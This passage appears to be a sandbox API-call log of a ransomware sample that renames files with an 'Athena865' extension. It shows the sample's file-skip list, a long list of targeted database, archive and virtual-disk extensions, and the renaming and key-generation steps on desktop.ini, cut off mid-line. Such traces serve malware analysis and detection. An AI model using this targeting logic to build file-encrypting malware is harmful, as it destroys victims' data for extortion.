lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.586] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.586] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.586] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.586] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.586] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.586] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.586] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.586] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.587] lstrlenW (lpString="desktop.ini") returned 11 [0053.587] lstrcpyW (in: lpString1=0x241e89c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.587] lstrlenW (lpString="desktop.ini") returned 11 [0053.587] lstrlenW (lpString="Athena865") returned 9 [0053.587] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.587] lstrlenW (lpString=".dll") returned 4 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.587] lstrlenW (lpString=".lnk") returned 4 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.587] lstrlenW (lpString=".ini") returned 4 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.587] lstrlenW (lpString=".sys") returned 4 [0053.587] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.587] lstrlenW (lpString="desktop.ini") returned 11 [0053.587] lstrlenW (lpString="bak") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0053.587] lstrlenW (lpString="ba_") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0053.587] lstrlenW (lpString="dbb") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0053.587] lstrlenW (lpString="vmdk") returned 4 [0053.587] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0053.587] lstrlenW (lpString="rar") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0053.587] lstrlenW (lpString="zip") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0053.587] lstrlenW (lpString="tgz") returned 3 [0053.587] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0053.587] lstrlenW (lpString="vbox") returned 4 [0053.587] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0053.588] lstrlenW (lpString="vdi") returned 3 [0053.588] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0053.588] lstrlenW (lpString="vhd") returned 3 [0053.588] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0053.588] lstrlenW (lpString="vhdx") returned 4 [0053.588] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0053.588] lstrlenW (lpString="avhd") returned 4 [0053.588] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0053.588] lstrlenW (lpString="db") returned 2 [0053.588] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0053.588] lstrlenW (lpString="db2") returned 3 [0053.588] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0053.588] lstrlenW (lpString="db3") returned 3 [0053.588] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0053.589] lstrlenW (lpString="dbf") returned 3 [0053.589] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0053.589] lstrlenW (lpString="mdf") returned 3 [0053.589] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0053.589] lstrlenW (lpString="mdb") returned 3 [0053.589] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0053.589] lstrlenW (lpString="sql") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0053.590] lstrlenW (lpString="sqlite") returned 6 [0053.590] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0053.590] lstrlenW (lpString="sqlite3") returned 7 [0053.590] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0053.590] lstrlenW (lpString="sqlitedb") returned 8 [0053.590] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0053.590] lstrlenW (lpString="xml") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0053.590] lstrlenW (lpString="$er") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0053.590] lstrlenW (lpString="4dd") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0053.590] lstrlenW (lpString="4dl") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0053.590] lstrlenW (lpString="^^^") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0053.590] lstrlenW (lpString="abs") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0053.590] lstrlenW (lpString="abx") returned 3 [0053.590] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0053.590] lstrlenW (lpString="accdb") returned 5 [0053.590] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0053.590] lstrlenW (lpString="accdc") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0053.591] lstrlenW (lpString="accde") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0053.591] lstrlenW (lpString="accdr") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0053.591] lstrlenW (lpString="accdt") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0053.591] lstrlenW (lpString="accdw") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0053.591] lstrlenW (lpString="accft") returned 5 [0053.591] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0053.591] lstrlenW (lpString="adb") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.591] lstrlenW (lpString="adb") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.591] lstrlenW (lpString="ade") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.591] lstrlenW (lpString="adf") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.591] lstrlenW (lpString="adn") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.591] lstrlenW (lpString="adp") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.591] lstrlenW (lpString="alf") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.591] lstrlenW (lpString="ask") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.591] lstrlenW (lpString="btr") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.591] lstrlenW (lpString="cat") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.591] lstrlenW (lpString="cdb") returned 3 [0053.591] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.591] lstrlenW (lpString="ckp") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.592] lstrlenW (lpString="cma") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.592] lstrlenW (lpString="cpd") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.592] lstrlenW (lpString="dacpac") returned 6 [0053.592] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.592] lstrlenW (lpString="dad") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.592] lstrlenW (lpString="dadiagrams") returned 10 [0053.592] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.592] lstrlenW (lpString="daschema") returned 8 [0053.592] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.592] lstrlenW (lpString="db-journal") returned 10 [0053.592] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.592] lstrlenW (lpString="db-shm") returned 6 [0053.592] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.592] lstrlenW (lpString="db-wal") returned 6 [0053.592] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.592] lstrlenW (lpString="dbc") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.592] lstrlenW (lpString="dbs") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.592] lstrlenW (lpString="dbt") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.592] lstrlenW (lpString="dbv") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.592] lstrlenW (lpString="dbx") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.592] lstrlenW (lpString="dcb") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.592] lstrlenW (lpString="dct") returned 3 [0053.592] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.592] lstrlenW (lpString="dcx") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.593] lstrlenW (lpString="ddl") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.593] lstrlenW (lpString="dlis") returned 4 [0053.593] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.593] lstrlenW (lpString="dp1") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.593] lstrlenW (lpString="dqy") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.593] lstrlenW (lpString="dsk") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.593] lstrlenW (lpString="dsn") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.593] lstrlenW (lpString="dtsx") returned 4 [0053.593] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.593] lstrlenW (lpString="dxl") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.593] lstrlenW (lpString="eco") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.593] lstrlenW (lpString="ecx") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.593] lstrlenW (lpString="edb") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.593] lstrlenW (lpString="epim") returned 4 [0053.593] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.593] lstrlenW (lpString="fcd") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.593] lstrlenW (lpString="fdb") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.593] lstrlenW (lpString="fic") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.593] lstrlenW (lpString="flexolibrary") returned 12 [0053.593] lstrlenW (lpString="fm5") returned 3 [0053.593] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.594] lstrlenW (lpString="fmp") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.594] lstrlenW (lpString="fmp12") returned 5 [0053.594] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.594] lstrlenW (lpString="fmpsl") returned 5 [0053.594] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.594] lstrlenW (lpString="fol") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.594] lstrlenW (lpString="fp3") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.594] lstrlenW (lpString="fp4") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.594] lstrlenW (lpString="fp5") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.594] lstrlenW (lpString="fp7") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.594] lstrlenW (lpString="fpt") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.594] lstrlenW (lpString="frm") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.594] lstrlenW (lpString="gdb") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.594] lstrlenW (lpString="gdb") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.594] lstrlenW (lpString="grdb") returned 4 [0053.594] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.594] lstrlenW (lpString="gwi") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.594] lstrlenW (lpString="hdb") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.594] lstrlenW (lpString="his") returned 3 [0053.594] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.594] lstrlenW (lpString="ib") returned 2 [0053.595] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.595] lstrlenW (lpString="idb") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.595] lstrlenW (lpString="ihx") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.595] lstrlenW (lpString="itdb") returned 4 [0053.595] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.595] lstrlenW (lpString="itw") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.595] lstrlenW (lpString="jet") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.595] lstrlenW (lpString="jtx") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.595] lstrlenW (lpString="kdb") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.595] lstrlenW (lpString="kexi") returned 4 [0053.595] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.595] lstrlenW (lpString="kexic") returned 5 [0053.595] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.595] lstrlenW (lpString="kexis") returned 5 [0053.595] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.595] lstrlenW (lpString="lgc") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.595] lstrlenW (lpString="lwx") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.595] lstrlenW (lpString="maf") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.595] lstrlenW (lpString="maq") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.595] lstrlenW (lpString="mar") returned 3 [0053.595] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.595] lstrlenW (lpString="marshal") returned 7 [0053.595] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.595] lstrlenW (lpString="mas") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.596] lstrlenW (lpString="mav") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.596] lstrlenW (lpString="maw") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.596] lstrlenW (lpString="mdbhtml") returned 7 [0053.596] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.596] lstrlenW (lpString="mdn") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.596] lstrlenW (lpString="mdt") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.596] lstrlenW (lpString="mfd") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.596] lstrlenW (lpString="mpd") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.596] lstrlenW (lpString="mrg") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.596] lstrlenW (lpString="mud") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.596] lstrlenW (lpString="mwb") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.596] lstrlenW (lpString="myd") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.596] lstrlenW (lpString="ndf") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.596] lstrlenW (lpString="nnt") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.596] lstrlenW (lpString="nrmlib") returned 6 [0053.596] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.596] lstrlenW (lpString="ns2") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.596] lstrlenW (lpString="ns3") returned 3 [0053.596] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.596] lstrlenW (lpString="ns4") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.597] lstrlenW (lpString="nsf") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.597] lstrlenW (lpString="nv") returned 2 [0053.597] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.597] lstrlenW (lpString="nv2") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.597] lstrlenW (lpString="nwdb") returned 4 [0053.597] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.597] lstrlenW (lpString="nyf") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.597] lstrlenW (lpString="odb") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.597] lstrlenW (lpString="odb") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.597] lstrlenW (lpString="oqy") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.597] lstrlenW (lpString="ora") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.597] lstrlenW (lpString="orx") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.597] lstrlenW (lpString="owc") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.597] lstrlenW (lpString="p96") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.597] lstrlenW (lpString="p97") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.597] lstrlenW (lpString="pan") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.597] lstrlenW (lpString="pdb") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.597] lstrlenW (lpString="pdm") returned 3 [0053.597] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.598] lstrlenW (lpString="pnz") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.598] lstrlenW (lpString="qry") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.598] lstrlenW (lpString="qvd") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.598] lstrlenW (lpString="rbf") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.598] lstrlenW (lpString="rctd") returned 4 [0053.598] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.598] lstrlenW (lpString="rod") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.598] lstrlenW (lpString="rodx") returned 4 [0053.598] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.598] lstrlenW (lpString="rpd") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.598] lstrlenW (lpString="rsd") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.598] lstrlenW (lpString="sas7bdat") returned 8 [0053.598] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.598] lstrlenW (lpString="sbf") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.598] lstrlenW (lpString="scx") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.598] lstrlenW (lpString="sdb") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.598] lstrlenW (lpString="sdc") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.598] lstrlenW (lpString="sdf") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.598] lstrlenW (lpString="sis") returned 3 [0053.598] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.599] lstrlenW (lpString="spq") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.599] lstrlenW (lpString="te") returned 2 [0053.599] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.599] lstrlenW (lpString="teacher") returned 7 [0053.599] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.599] lstrlenW (lpString="tmd") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.599] lstrlenW (lpString="tps") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.599] lstrlenW (lpString="trc") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.599] lstrlenW (lpString="trc") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.599] lstrlenW (lpString="trm") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.599] lstrlenW (lpString="udb") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.599] lstrlenW (lpString="udl") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.599] lstrlenW (lpString="usr") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.599] lstrlenW (lpString="v12") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.599] lstrlenW (lpString="vis") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.599] lstrlenW (lpString="vpd") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.599] lstrlenW (lpString="vvv") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.599] lstrlenW (lpString="wdb") returned 3 [0053.599] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.599] lstrlenW (lpString="wmdb") returned 4 [0053.600] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.600] lstrlenW (lpString="wrk") returned 3 [0053.600] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.600] lstrlenW (lpString="xdb") returned 3 [0053.600] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.600] lstrlenW (lpString="xld") returned 3 [0053.600] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.600] lstrlenW (lpString="xmlff") returned 5 [0053.600] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.600] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Desktop\\desktop.ini.Athena865") returned 63 [0053.600] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Desktop\\desktop.ini" (normalized: "c:\\documents and settings\\default\\desktop\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\desktop\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.601] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Desktop\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\desktop\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.601] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0053.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d9a8 [0053.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.602] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.602] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.603] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154 [0053.604] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0053.605] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.606] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.606] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0053.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.606] HeapFree (in: 